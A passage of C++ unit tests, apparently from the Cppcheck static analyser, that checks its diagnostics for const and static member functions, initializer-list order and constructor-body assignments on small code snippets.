errout_str());\n\n checkConst(\"struct A { int a; };\\n\"\n \"class Fred {\\n\"\n \" A s;\\n\"\n \" void nextA() { return s.a+=1; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"struct A { int a; };\\n\"\n \"class Fred {\\n\"\n \" A s;\\n\"\n \" void nextA() { return s.a*=-1; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"struct A { int a; };\\n\"\n \"class Fred {\\n\"\n \" A s;\\n\"\n \" void nextA() { return s.a/=-2; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n // increment/decrement array element => not const\n void constincdecarray() {\n checkConst(\"class Fred {\\n\"\n \" int a[2];\\n\"\n \" void nextA() { return ++a[0]; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class Fred {\\n\"\n \" int a[2];\\n\"\n \" void nextA() { return --a[0]; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class Fred {\\n\"\n \" int a[2];\\n\"\n \" void nextA() { return a[0]++; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class Fred {\\n\"\n \" int a[2];\\n\"\n \" void nextA() { return a[0]--; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"int a[2];\\n\"\n \"class Fred {\\n\"\n \" void nextA() { return ++a[0]; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (performance, inconclusive) Technically the member function 'Fred::nextA' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"int a[2];\\n\"\n \"class Fred {\\n\"\n \" void nextA() { return --a[0]; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (performance, inconclusive) Technically the member function 'Fred::nextA' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"int a[2];\\n\"\n \"class Fred {\\n\"\n \" void nextA() { return a[0]++; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (performance, inconclusive) Technically the member function 'Fred::nextA' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"int a[2];\\n\"\n \"class Fred {\\n\"\n \" void nextA() { return a[0]--; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (performance, inconclusive) Technically the member function 'Fred::nextA' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n }\n\n void constassignarray() {\n checkConst(\"class Fred {\\n\"\n \" int a[2];\\n\"\n \" void nextA() { return a[0]=1; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class Fred {\\n\"\n \" int a[2];\\n\"\n \" void nextA() { return a[0]-=1; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class Fred {\\n\"\n \" int a[2];\\n\"\n \" void nextA() { return a[0]+=1; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class Fred {\\n\"\n \" int a[2];\\n\"\n \" void nextA() { return a[0]*=-1; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class Fred {\\n\"\n \" int a[2];\\n\"\n \" void nextA() { return a[0]/=-2; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"int a[2];\\n\"\n \"class Fred {\\n\"\n \" void nextA() { return a[0]=1; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (performance, inconclusive) Technically the member function 'Fred::nextA' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"int a[2];\\n\"\n \"class Fred {\\n\"\n \" void nextA() { return a[0]-=1; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (performance, inconclusive) Technically the member function 'Fred::nextA' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"int a[2];\\n\"\n \"class Fred {\\n\"\n \" void nextA() { return a[0]+=1; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (performance, inconclusive) Technically the member function 'Fred::nextA' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"int a[2];\\n\"\n \"class Fred {\\n\"\n \" void nextA() { return a[0]*=-1; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (performance, inconclusive) Technically the member function 'Fred::nextA' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"int a[2];\\n\"\n \"class Fred {\\n\"\n \" void nextA() { return a[0]/=-2; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (performance, inconclusive) Technically the member function 'Fred::nextA' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n }\n\n // return pointer/reference => not const\n void constReturnReference() {\n checkConst(\"class Fred {\\n\"\n \" int a;\\n\"\n \" int &getR() { return a; }\\n\"\n \" int *getP() { return &a; }\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n // delete member variable => not const (but technically it can, it compiles without errors)\n void constDelete() {\n checkConst(\"class Fred {\\n\"\n \" int *a;\\n\"\n \" void clean() { delete a; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n // A function that returns unknown types can't be const (#1579)\n void constLPVOID() {\n checkConst(\"class Fred {\\n\"\n \" UNKNOWN a() { return 0; };\\n\"\n \"};\");\n TODO_ASSERT_EQUALS(\"[test.cpp:2]: (performance, inconclusive) Technically the member function 'Fred::a' can be static.\\n\", \"\", errout_str());\n\n // #1579 - HDC\n checkConst(\"class Fred {\\n\"\n \" foo bar;\\n\"\n \" UNKNOWN a() { return b; };\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n // a function that calls const functions can be const\n void constFunc() {\n checkConst(\"class Fred {\\n\"\n \" void f() const { };\\n\"\n \" void a() { f(); };\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: (performance, inconclusive) Technically the member function 'Fred::f' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\"\n \"[test.cpp:3:10]: (style, inconclusive) Technically the member function 'Fred::a' can be const. [functionConst]\\n\", errout_str());\n\n // ticket #1593\n checkConst(\"class A\\n\"\n \"{\\n\"\n \" std::vector m_v;\\n\"\n \"public:\\n\"\n \" A(){}\\n\"\n \" unsigned int GetVecSize() {return m_v.size();}\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:6:17]: (style, inconclusive) Technically the member function 'A::GetVecSize' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"class A\\n\"\n \"{\\n\"\n \" std::vector m_v;\\n\"\n \"public:\\n\"\n \" A(){}\\n\"\n \" bool GetVecEmpty() {return m_v.empty();}\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:6:9]: (style, inconclusive) Technically the member function 'A::GetVecEmpty' can be const. [functionConst]\\n\", errout_str());\n }\n\n void constVirtualFunc() {\n // base class has no virtual function\n checkConst(\"class A { };\\n\"\n \"class B : public A {\\n\"\n \" int b;\\n\"\n \"public:\\n\"\n \" B() : b(0) { }\\n\"\n \" int func() { return b; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:6:8]: (style, inconclusive) Technically the member function 'B::func' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"class A { };\\n\"\n \"class B : public A {\\n\"\n \" int b;\\n\"\n \"public:\\n\"\n \" B() : b(0) { }\\n\"\n \" int func();\\n\"\n \"};\\n\"\n \"int B::func() { return b; }\");\n ASSERT_EQUALS(\"[test.cpp:6:8] -> [test.cpp:8:8]: (style, inconclusive) Technically the member function 'B::func' can be const. [functionConst]\\n\", errout_str());\n\n // base class has no virtual function\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" int func();\\n\"\n \"};\\n\"\n \"class B : public A {\\n\"\n \" int b;\\n\"\n \"public:\\n\"\n \" B() : b(0) { }\\n\"\n \" int func() { return b; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:9:9]: (style, inconclusive) Technically the member function 'B::func' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" int func();\\n\"\n \"};\\n\"\n \"class B : public A {\\n\"\n \" int b;\\n\"\n \"public:\\n\"\n \" B() : b(0) { }\\n\"\n \" int func();\\n\"\n \"};\\n\"\n \"int B::func() { return b; }\");\n ASSERT_EQUALS(\"[test.cpp:9:9] -> [test.cpp:11:8]: (style, inconclusive) Technically the member function 'B::func' can be const. [functionConst]\\n\", errout_str());\n\n // base class has virtual function\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" virtual int func();\\n\"\n \"};\\n\"\n \"class B : public A {\\n\"\n \" int b;\\n\"\n \"public:\\n\"\n \" B() : b(0) { }\\n\"\n \" int func() { return b; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" virtual int func();\\n\"\n \"};\\n\"\n \"class B : public A {\\n\"\n \" int b;\\n\"\n \"public:\\n\"\n \" B() : b(0) { }\\n\"\n \" int func();\\n\"\n \"};\\n\"\n \"int B::func() { return b; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" virtual int func() = 0;\\n\"\n \"};\\n\"\n \"class B : public A {\\n\"\n \" int b;\\n\"\n \"public:\\n\"\n \" B() : b(0) { }\\n\"\n \" int func();\\n\"\n \"};\\n\"\n \"int B::func() { return b; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // base class has no virtual function\n checkConst(\"class A {\\n\"\n \" int a;\\n\"\n \"public:\\n\"\n \" A() : a(0) { }\\n\"\n \" int func() { return a; }\\n\"\n \"};\\n\"\n \"class B : public A {\\n\"\n \" int b;\\n\"\n \"public:\\n\"\n \" B() : b(0) { }\\n\"\n \" int func() { return b; }\\n\"\n \"};\\n\"\n \"class C : public B {\\n\"\n \" int c;\\n\"\n \"public:\\n\"\n \" C() : c(0) { }\\n\"\n \" int func() { return c; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:5:9]: (style, inconclusive) Technically the member function 'A::func' can be const. [functionConst]\\n\"\n \"[test.cpp:11:9]: (style, inconclusive) Technically the member function 'B::func' can be const. [functionConst]\\n\"\n \"[test.cpp:17:9]: (style, inconclusive) Technically the member function 'C::func' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"class A {\\n\"\n \" int a;\\n\"\n \"public:\\n\"\n \" A() : a(0) { }\\n\"\n \" int func();\\n\"\n \"};\\n\"\n \"int A::func() { return a; }\\n\"\n \"class B : public A {\\n\"\n \" int b;\\n\"\n \"public:\\n\"\n \" B() : b(0) { }\\n\"\n \" int func();\\n\"\n \"};\\n\"\n \"int B::func() { return b; }\\n\"\n \"class C : public B {\\n\"\n \" int c;\\n\"\n \"public:\\n\"\n \" C() : c(0) { }\\n\"\n \" int func();\\n\"\n \"};\\n\"\n \"int C::func() { return c; }\");\n ASSERT_EQUALS(\"[test.cpp:5:9] -> [test.cpp:7:8]: (style, inconclusive) Technically the member function 'A::func' can be const. [functionConst]\\n\"\n \"[test.cpp:12:9] -> [test.cpp:14:8]: (style, inconclusive) Technically the member function 'B::func' can be const. [functionConst]\\n\"\n \"[test.cpp:19:9] -> [test.cpp:21:8]: (style, inconclusive) Technically the member function 'C::func' can be const. [functionConst]\\n\", errout_str());\n\n // base class has virtual function\n checkConst(\"class A {\\n\"\n \" int a;\\n\"\n \"public:\\n\"\n \" A() : a(0) { }\\n\"\n \" virtual int func() { return a; }\\n\"\n \"};\\n\"\n \"class B : public A {\\n\"\n \" int b;\\n\"\n \"public:\\n\"\n \" B() : b(0) { }\\n\"\n \" int func() { return b; }\\n\"\n \"};\\n\"\n \"class C : public B {\\n\"\n \" int c;\\n\"\n \"public:\\n\"\n \" C() : c(0) { }\\n\"\n \" int func() { return c; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class A {\\n\"\n \" int a;\\n\"\n \"public:\\n\"\n \" A() : a(0) { }\\n\"\n \" virtual int func();\\n\"\n \"};\\n\"\n \"int A::func() { return a; }\\n\"\n \"class B : public A {\\n\"\n \" int b;\\n\"\n \"public:\\n\"\n \" B() : b(0) { }\\n\"\n \" int func();\\n\"\n \"};\\n\"\n \"int B::func() { return b; }\\n\"\n \"class C : public B {\\n\"\n \" int c;\\n\"\n \"public:\\n\"\n \" C() : c(0) { }\\n\"\n \" int func();\\n\"\n \"};\\n\"\n \"int C::func() { return c; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // ticket #1311\n checkConst(\"class X {\\n\"\n \" int x;\\n\"\n \"public:\\n\"\n \" X(int x) : x(x) { }\\n\"\n \" int getX() { return x; }\\n\"\n \"};\\n\"\n \"class Y : public X {\\n\"\n \" int y;\\n\"\n \"public:\\n\"\n \" Y(int x, int y) : X(x), y(y) { }\\n\"\n \" int getY() { return y; }\\n\"\n \"};\\n\"\n \"class Z : public Y {\\n\"\n \" int z;\\n\"\n \"public:\\n\"\n \" Z(int x, int y, int z) : Y(x, y), z(z) { }\\n\"\n \" int getZ() { return z; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:5:9]: (style, inconclusive) Technically the member function 'X::getX' can be const. [functionConst]\\n\"\n \"[test.cpp:11:9]: (style, inconclusive) Technically the member function 'Y::getY' can be const. [functionConst]\\n\"\n \"[test.cpp:17:9]: (style, inconclusive) Technically the member function 'Z::getZ' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"class X {\\n\"\n \" int x;\\n\"\n \"public:\\n\"\n \" X(int x) : x(x) { }\\n\"\n \" int getX();\\n\"\n \"};\\n\"\n \"int X::getX() { return x; }\\n\"\n \"class Y : public X {\\n\"\n \" int y;\\n\"\n \"public:\\n\"\n \" Y(int x, int y) : X(x), y(y) { }\\n\"\n \" int getY();\\n\"\n \"};\\n\"\n \"int Y::getY() { return y; }\\n\"\n \"class Z : public Y {\\n\"\n \" int z;\\n\"\n \"public:\\n\"\n \" Z(int x, int y, int z) : Y(x, y), z(z) { }\\n\"\n \" int getZ();\\n\"\n \"};\\n\"\n \"int Z::getZ() { return z; }\");\n ASSERT_EQUALS(\"[test.cpp:5:9] -> [test.cpp:7:8]: (style, inconclusive) Technically the member function 'X::getX' can be const. [functionConst]\\n\"\n \"[test.cpp:12:9] -> [test.cpp:14:8]: (style, inconclusive) Technically the member function 'Y::getY' can be const. [functionConst]\\n\"\n \"[test.cpp:19:9] -> [test.cpp:21:8]: (style, inconclusive) Technically the member function 'Z::getZ' can be const. [functionConst]\\n\", errout_str());\n }\n\n void constIfCfg() {\n const char code[] = \"struct foo {\\n\"\n \" int i;\\n\"\n \" void f() {\\n\"\n //\"#ifdef ABC\\n\"\n //\" i = 4;\\n\"\n //\"endif\\n\"\n \" }\\n\"\n \"};\";\n\n checkConst(code, dinit(CheckConstOptions, $.s = &settings0, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:10]: (performance, inconclusive) Technically the member function 'foo::f' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(code, dinit(CheckConstOptions, $.s = &settings0, $.inconclusive = false)); // TODO: Set inconclusive to true (preprocess it)\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void constFriend() { // ticket #1921\n const char code[] = \"class foo {\\n\"\n \" friend void f() { }\\n\"\n \"};\";\n checkConst(code);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void constUnion() { // ticket #2111\n checkConst(\"class foo {\\n\"\n \"public:\\n\"\n \" union {\\n\"\n \" int i;\\n\"\n \" float f;\\n\"\n \" } d;\\n\"\n \" void setf(float x) {\\n\"\n \" d.f = x;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void constArrayOperator() {\n checkConst(\"struct foo {\\n\"\n \" int x;\\n\"\n \" int y[5][724];\\n\"\n \" T a() {\\n\"\n \" return y[x++][6];\\n\"\n \" }\\n\"\n \" T b() {\\n\"\n \" return y[1][++x];\\n\"\n \" }\\n\"\n \" T c() {\\n\"\n \" return y[1][6];\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:10:7]: (style, inconclusive) Technically the member function 'foo::c' can be const. [functionConst]\\n\", errout_str());\n }\n\n void constRangeBasedFor() { // #5514\n checkConst(\"class Fred {\\n\"\n \" int array[256];\\n\"\n \"public:\\n\"\n \" void f1() {\\n\"\n \" for (auto & e : array)\\n\"\n \" foo(e);\\n\"\n \" }\\n\"\n \" void f2() {\\n\"\n \" for (const auto & e : array)\\n\"\n \" foo(e);\\n\"\n \" }\\n\"\n \" void f3() {\\n\"\n \" for (decltype(auto) e : array)\\n\"\n \" foo(e);\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:8:10]: (style, inconclusive) Technically the member function 'Fred::f2' can be const. [functionConst]\\n\", errout_str());\n }\n\n void const_shared_ptr() { // #8674\n checkConst(\"class Fred {\\n\"\n \"public:\\n\"\n \" std::shared_ptr getData();\\n\"\n \"private:\\n\"\n \" std::shared_ptr data;\\n\"\n \"};\\n\"\n \"\\n\"\n \"std::shared_ptr Fred::getData() { return data; }\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void constPtrToConstPtr() {\n checkConst(\"class Fred {\\n\"\n \"public:\\n\"\n \" const char *const *data;\\n\"\n \" const char *const *getData() { return data; }\\n}\");\n ASSERT_EQUALS(\"[test.cpp:4:24]: (style, inconclusive) Technically the member function 'Fred::getData' can be const. [functionConst]\\n\", errout_str());\n }\n\n void constTrailingReturnType() { // #9814\n checkConst(\"struct A {\\n\"\n \" int x = 1;\\n\"\n \" auto get() -> int & { return x; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void constRefQualified() { // #12920\n checkConst(\"class Fred {\\n\"\n \"public:\\n\"\n \" const Data& get() & { return data; }\\n\"\n \"private:\\n\"\n \" Data data;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void staticArrayPtrOverload() {\n checkConst(\"struct S {\\n\"\n \" template\\n\"\n \" void f(const std::array& sv);\\n\"\n \" template\\n\"\n \" void f(const char* const (&StrArr)[N]);\\n\"\n \"};\\n\"\n \"template\\n\"\n \"void S::f(const std::array& sv) {\\n\"\n \" const char* ptrs[N]{};\\n\"\n \" return f(ptrs);\\n\"\n \"}\\n\"\n \"template void S::f(const std::array& sv);\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void qualifiedNameMember() { // #10872\n const Settings s = settingsBuilder().severity(Severity::style).debugwarnings().library(\"std.cfg\").build();\n checkConst(\"struct data {};\\n\"\n \" struct S {\\n\"\n \" std::vector std;\\n\"\n \" void f();\\n\"\n \"};\\n\"\n \"void S::f() {\\n\"\n \" std::vector::const_iterator end = std.end();\\n\"\n \"}\\n\", dinit(CheckConstOptions, $.s = &s));\n ASSERT_EQUALS(\"[test.cpp:4:10] -> [test.cpp:6:9]: (style, inconclusive) Technically the member function 'S::f' can be const. [functionConst]\\n\", errout_str());\n }\n\n#define checkInitializerListOrder(...) checkInitializerListOrder_(__FILE__, __LINE__, __VA_ARGS__)\n template\n void checkInitializerListOrder_(const char* file, int line, const char (&code)[size]) {\n // Tokenize..\n SimpleTokenizer tokenizer(settings2, *this);\n ASSERT_LOC(tokenizer.tokenize(code), file, line);\n\n CheckClass checkClass(&tokenizer, &settings2, this);\n checkClass.initializerListOrder();\n }\n\n void initializerListOrder() {\n checkInitializerListOrder(\"class Fred {\\n\"\n \" int a, b, c;\\n\"\n \"public:\\n\"\n \" Fred() : c(0), b(0), a(0) { }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:20] -> [test.cpp:2:12]: (style, inconclusive) Member variable 'Fred::b' is in the wrong place in the initializer list. [initializerList]\\n\"\n \"[test.cpp:4:26] -> [test.cpp:2:9]: (style, inconclusive) Member variable 'Fred::a' is in the wrong place in the initializer list. [initializerList]\\n\", errout_str());\n\n checkInitializerListOrder(\"class Fred {\\n\"\n \" int a, b, c;\\n\"\n \"public:\\n\"\n \" Fred() : c{0}, b{0}, a{0} { }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:20] -> [test.cpp:2:12]: (style, inconclusive) Member variable 'Fred::b' is in the wrong place in the initializer list. [initializerList]\\n\"\n \"[test.cpp:4:26] -> [test.cpp:2:9]: (style, inconclusive) Member variable 'Fred::a' is in the wrong place in the initializer list. [initializerList]\\n\", errout_str());\n\n checkInitializerListOrder(\"struct S {\\n\"\n \" S() : b(a = 1) {}\\n\"\n \" int a, b;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInitializerListOrder(\"struct S {\\n\"\n \" int nCols() const;\\n\"\n \" int nRows() const;\\n\"\n \"};\\n\"\n \"struct B {\\n\"\n \" const char* m_name;\\n\"\n \" int nCols;\\n\"\n \" int nRows;\\n\"\n \" B(const char* p_name, int nR, int nC)\\n\"\n \" : m_name(p_name)\\n\"\n \" , nCols(nC)\\n\"\n \" , nRows(nR)\\n\"\n \" {}\\n\"\n \"};\\n\"\n \"struct D : public B {\\n\"\n \" const int m_i;\\n\"\n \" D(const S& s, int _i)\\n\"\n \" : B(\\\"abc\\\", s.nRows(), s.nCols())\\n\"\n \" , m_i(_i)\\n\"\n \" {}\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void initializerListArgument() {\n checkInitializerListOrder(\"struct A { A(); };\\n\" // #12322\n \"struct B { explicit B(const A* a); };\\n\"\n \"struct C {\\n\"\n \" C() : b(&a) {}\\n\"\n \" B b;\\n\"\n \" const A a;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:11] -> [test.cpp:5:7]: (style, inconclusive) Member variable 'C::b' uses an uninitialized argument 'a' due to the order of declarations. [initializerList]\\n\",\n errout_str());\n\n checkInitializerListOrder(\"struct S {\\n\"\n \" S(const std::string& f, std::string i, int b, int c) : a(0), b(b), c(c) {}\\n\"\n \" int a, b, c;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInitializerListOrder(\"struct S {\\n\"\n \" S() : p(a) {}\\n\"\n \" int* p;\\n\"\n \" int a[1];\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInitializerListOrder(\"struct S {\\n\"\n \" S() : p(&i) {}\\n\"\n \" int* p;\\n\"\n \" int i;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInitializerListOrder(\"struct S {\\n\"\n \" S() : a(b = 1) {}\\n\"\n \" int a, b;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInitializerListOrder(\"struct S {\\n\"\n \" S() : r(i) {}\\n\"\n \" int& r;\\n\"\n \" int i{};\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInitializerListOrder(\"struct B {\\n\"\n \" int a{}, b{};\\n\"\n \"};\\n\"\n \"struct D : B {\\n\"\n \" D() : B(), j(b) {}\\n\"\n \" int j;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInitializerListOrder(\"struct S {\\n\"\n \" S() : a(i) {}\\n\"\n \" int a;\\n\"\n \" static int i;\\n\"\n \"};\\n\"\n \"int S::i = 0;\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInitializerListOrder(\"struct S {\\n\"\n \" S(int b) : a(b) {}\\n\"\n \" int a, b{};\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInitializerListOrder(\"class Foo {\\n\" // #3524\n \"public:\\n\"\n \" Foo(int arg) : a(b), b(arg) {}\\n\"\n \" int a;\\n\"\n \" int b;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:20] -> [test.cpp:4:9]: (style, inconclusive) Member variable 'Foo::a' uses an uninitialized argument 'b' due to the order of declarations. [initializerList]\\n\",\n errout_str());\n\n checkInitializerListOrder(\"struct S { double d = 0; };\\n\" // #12730\n \"struct T {\\n\"\n \" T() : s(), a(s.d), d(0) {}\\n\"\n \" S s;\\n\"\n \" double a, d;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInitializerListOrder(\"struct S { static const int d = 1; };\\n\"\n \"struct T {\\n\"\n \" T() : s(), a(S::d), d(0) {}\\n\"\n \" S s;\\n\"\n \" int a, d;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n#define checkInitializationListUsage(...) checkInitializationListUsage_(__FILE__, __LINE__, __VA_ARGS__)\n template\n void checkInitializationListUsage_(const char* file, int line, const char (&code)[size]) {\n // Check..\n const Settings settings = settingsBuilder().severity(Severity::performance).build();\n\n // Tokenize..\n SimpleTokenizer tokenizer(settings, *this);\n ASSERT_LOC(tokenizer.tokenize(code), file, line);\n\n CheckClass checkClass(&tokenizer, &settings, this);\n checkClass.initializationListUsage();\n }\n\n void initializerListUsage() {\n checkInitializationListUsage(\"enum Enum { C = 0 };\\n\"\n \"class Fred {\\n\"\n \" int a;\\n\" // No message for builtin types: No performance gain\n \" int* b;\\n\" // No message for pointers: No performance gain\n \" Enum c;\\n\" // No message for enums: No performance gain\n \" Fred() { a = 0; b = 0; c = C; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInitializationListUsage(\"class Fred {\\n\"\n \" std::string s;\\n\"\n \" Fred() { a = 0; s = \\\"foo\\\"; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:21]: (performance) Variable 's' is assigned in constructor body. Consider performing initialization in initialization list. [useInitializationList]\\n\", errout_str());\n\n checkInitializationListUsage(\"class Fred {\\n\"\n \" std::string& s;\\n\" // Message is invalid for references, since their initialization in initializer list is required anyway and behaves different from assignment (#5004)\n \" Fred(const std::string& s_) : s(s_) { s = \\\"foo\\\"; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInitializationListUsage(\"class Fred {\\n\"\n \" std::vector v;\\n\"\n \" Fred() { v = unknown; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:14]: (performance) Variable 'v' is assigned in constructor body. Consider performing initialization in initialization list. [useInitializationList]\\n\", errout_str());\n\n checkInitializationListUsage(\"class C { std::string s; };\\n\"\n \"class Fred {\\n\"\n \" C c;\\n\"\n \" Fred() { c = unknown; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:14]: (performance) Variable 'c' is assigned in constructor body. Consider performing initialization in initialization list. [useInitializationList]\\n\", errout_str());\n\n checkInitializationListUsage(\"class C;\\n\"\n \"class Fred {\\n\"\n \" C c;\\n\"\n \" Fred() { c = unknown; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:14]: (performance) Variable 'c' is assigned in constructor body. Consider performing initialization in initialization list. [useInitializationList]\\n\", errout_str());\n\n checkInitializationListUsage(\"class C;\\n\"\n \"class Fred {\\n\"\n \" C c;\\n\"\n \" Fred(Fred const & other) { c = other.c; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:32]: (performance) Variable 'c' is assigned in constructor body. Consider performing initialization in initialization list. [useInitializationList]\\n\", errout_str());\n\n checkInitializationListUsage(\"class C;\\n\"\n \"class Fred {\\n\"\n \" C c;\\n\"\n \" Fred(Fred && other) { c = other.c; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:27]: (performance) Variable 'c' is assigned in constructor body. Consider performing initialization in initialization list. [useInitializationList]\\n\", errout_str());\n\n checkInitializationListUsage(\"class C;\\n\"\n \"class Fred {\\n\"\n \" C a;\\n\"\n \" Fred() { initB(); a = b; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInitializationListUsage(\"class C;\\n\"\n \"class Fred {\\n\"\n \" C a;\\n\"\n \" Fred() : a(0) { if(b) a = 0; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInitializationListUsage(\"class C;\\n\"\n \"class Fred {\\n\"\n \" C a[5];\\n\"\n \" Fred() { for(int i = 0; i < 5; i++) a[i] = 0; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInitializationListUsage(\"class C;\\n\"\n \"class Fred {\\n\"\n \" C a; int b;\\n\"\n \" Fred() : b(5) { a = b; }\\n\" // Don't issue a message here: You actually could move it to the initialization list, but it would cause problems if you change the order of the variable declarations.\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInitializationListUsage(\"class C;\\n\"\n \"class Fred {\\n\"\n \" C a;\\n\"\n \" Fred() { try { a = new int; } catch(...) {} }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInitializationListUsage(\"class Fred {\\n\"\n \" std::string s;\\n\"\n \" Fred() { s = toString((size_t)this); }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInitializationListUsage(\"class Fred {\\n\"\n \" std::string a;\\n\"\n \" std::string foo();\\n\"\n \" Fred() { a = foo(); }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", 